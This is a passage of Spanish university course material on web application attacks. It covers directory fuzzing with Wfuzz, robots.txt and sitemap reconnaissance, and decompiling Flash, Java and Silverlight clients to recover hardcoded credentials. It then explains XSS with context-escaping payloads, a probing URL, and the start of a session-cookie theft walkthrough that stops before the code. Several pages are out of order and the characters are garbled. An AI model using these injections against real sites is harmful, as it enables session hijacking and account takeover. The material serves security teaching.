bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web
Bibliografiacutea 73
CC-BY-NC-ND bull PID_00191662 5 Ataques a aplicaciones web
1 Ataques de inyeccioacuten de scripts
Bajo la denominacioacuten de inyeccioacuten de scripts se agrupan distintas teacutecnicas que
comparten el mismo sistema de explotacioacuten pero que persiguen distinto fin
El hecho de separarlas en distintas categoriacuteas atiende uacutenicamente a facilitar la
fijacioacuten de los objetivos perseguidos
Un ataque por inyeccioacuten de coacutedigo se plantea como objetivo lograr in-
yectar en el contexto de un dominio un coacutedigo Javascript VBScript o
simplemente HTML con la finalidad de engantildear al usuario o realizar
una accioacuten no deseada suplantaacutendole
Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-
tado no es directamente el servidor como podriacutea ser en el caso de un ataque
de SQL Injection sino que el objetivo directo es el usuario Posteriormente
si el ataque es exitoso y mediante suplantacioacuten de personalidad se podraacuten
ejecutar las acciones deseadas en el servidor afectado y al que pueda accederse
desde una paacutegina web
Esto ha implicado que los fallos de inyeccioacuten de scripts no sean considerados
como amenazas criacuteticas en algunos sectores de la seguridad informaacutetica de-
clarando incluso que errores de este tipo no podriacutean llegar a comprometer la
seguridad de un sitio web Como se demostraraacute a lo largo de este apartado la
inyeccioacuten de scripts puede llegar a ser tan peligrosa como cualquier otra teacutecni-
ca si se sabe cuaacutel es su liacutemite y cuaacutel es su potencial
Se exponen a continuacioacuten casos reales relacionados con XSS ( cross site scrip-
ting) en los que la seguridad de alguacuten sitio web ha quedado comprometida A
pesar del escepticismo de algunos XSS puede permitir la obtencioacuten de privile-
gios sobre alguacuten sistema lo suficientemente deacutebil como para permitir insertar
coacutedigo Javascript
CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web
Zone-H
El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados
El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban
Samy Worm y MySpace
El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm
Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace
El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil
En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores
CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web
Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo
Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una
vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web
a pesar de la opinioacuten de aquellos que no las consideran como tal
Hacker Safe
En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios
Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante
11 Cross site scripting (XSS)
El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-
lizando en este moacutedulo asiacute que es fundamental entender correctamente los
conceptos que se explican a continuacioacuten
CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web
Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo
se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada
al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute
o no factible un ataque mediante XSS
Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos
al servidor (un comentario un cambio en un perfil una buacutesqueda etc)
se ve posteriormente mostrado en la paacutegina de respuesta
Esto es cuando escribimos un comentario en una paacutegina y podemos leer
posteriormente nuestro mensaje modificamos nuestro perfil de usuario
y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos
muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo
se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros
hemos introducido Ahiacute es donde vamos a empezar a investigar para
lograr introducir nuestro coacutedigo XSS
Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-
dente del usuario lo muestra en la paacutegina es el momento de determinar si es
posible utilizar esa zona como punto de ataque de XSS Para ello es posible
insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para
descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para
los ejemplos se utilizaraacute el siguiente coacutedigo
ltscriptgtalert(iexclHola Mundo)ltscriptgt
El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque
como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-
litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por
ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo
suelen estar prohibidos
Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS
Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas
bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta
categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el
ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten
lugar habitualmente una base de datos SQL y se va a mostrar a cualquier
usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS
son mucho maacutes peligrosos que los no permanentes que se comentan a
continuacioacuten
CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web
bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se
menciona Nos encontramos con una paacutegina web que dispone de busca-
dor el cual al introducir una palabra inventada o una cadena aleatoria de
caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados
para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en
el campo de buacutesqueda
Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-
cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es
vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten
no son permanentes
XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo
Javascript en una aplicacioacuten web lo que permite realizar una serie de
acciones maliciosas en la misma
Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-
nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que
anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo
se ha escrito en alguacuten campo donde queda almacenado en una base de datos
de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina
Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En
estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque
Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute
ser algo similar a
httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt
Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga
clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea
ya a otro aacutembito de estudio como es la ingenieriacutea social
111 Ataques
Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que
pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-
mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante
y las funcionalidades de la aplicacioacuten objetivo del ataque
bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-
rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha
logrado que un usuario administrador ejecute nuestro coacutedigo Javascript
las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible
por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a
generar una cuenta de administrador con los datos que nosotros especifi-
CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web
quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de
administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil
especiacutefico del usuario en el sitio web
bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing
Mediante Javascript como hemos visto podemos modificar el comporta-
miento y la apariencia de una paacutegina web Esto permite crear un formula-
rio de login falso o redirigir el submit de uno existente hacia un dominio
de nuestro control
bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-
nicas que explotan vulnerabilidades XSS
bull Por otra parte aunque menos habitual es posible realizar un ataquedede-
negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)
Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-
gan un uso intensivo de recursos muy costosos en ancho de banda o ca-
pacidad de procesamiento de un servidor de forma asiacutencrona
bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga
dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-
cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red
social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo
Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita
otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-
cacioacuten en los perfiles afectados
Como se puede comprobar las posibilidades que ofrece el XSS son realmen-
te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar
coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no
permite el acceso a ficheros del sistema y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque
112 Meacutetodos para introducir XSS (cross site scripting)
Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-
cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas
de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo
malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las
zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo
Javascript introducido
bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo
Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-
cutar
(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
